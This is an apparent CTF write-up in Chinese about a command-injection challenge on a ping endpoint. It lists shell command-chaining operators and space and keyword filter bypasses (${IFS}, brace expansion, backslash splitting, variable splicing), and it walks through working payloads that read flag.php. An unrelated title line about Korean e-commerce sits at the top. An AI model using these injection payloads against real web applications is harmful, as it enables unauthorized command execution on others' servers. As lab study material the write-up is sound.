韩国的电商网站什么是电子商务?
0x00 考点
 0、命令联合执行
 ;     前面的执行完执行后面的
 |     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)         
 ||    当前面的执行出错时(为假)执行后面的
 &     将任务置于后台执行
 &&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
 %0a  (换行)
 %0d  (回车)
 1、命令绕过空格方法有:
 ${IFS}$9
 {IFS}
 $IFS
 ${IFS}
 $IFS$1 //$1改成$加其他数字貌似都行
 IFS
 < 
 <> 
 {cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
 %20   (space)
 %09   (tab)
 X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)
 ps:有时会禁用cat:
 解决方法是使用tac反向输出命令:
 linux命令中可以加\,所以甚至可以ca\t /fl\ag
 2、内联执行
 内联,就是将反引号内命令的输出作为输入执行
?ip=127.0.0.1;cat$IFS$9`ls`
$IFS在Linux下表示为空格
 $9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字
这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用
 原文链接:https://blog.csdn.net/vanarrow/article/details/108295481
这个题先ping一下,可以ping通,直接ls看看
0ef4f16b-2de2-41d3-bfcf-6d06f7a9fb60.node5.buuoj.cn:81/?ip=127.0.0.1;ls

然后cat一下flag.php看看

wc,它骂我,额,,,是空格的过滤
0ef4f16b-2de2-41d3-bfcf-6d06f7a9fb60.node5.buuoj.cn:81/?ip=127.0.0.1;cat{IFS}flag.php

也过滤了{},用$IFS$1代替

flag.php里没有东西
在index.php里找找
代码审计
过滤了许多的字符
1.源码中有一个$a可以覆盖
?ip=127.0.0.1;a=f;cat$IFS$1$alag.php    过滤
 ?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php    没flag
 ?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php      过滤
 ?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php    有flag
 ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 过滤
 ?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag
使用ctrl+u查看源码
2.
、变量ab互换传递,绕过字符串匹配,实现拼接
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
 
?ip=127.0.0.1;b=lag;a=f;cat$IFS$a$b.php 
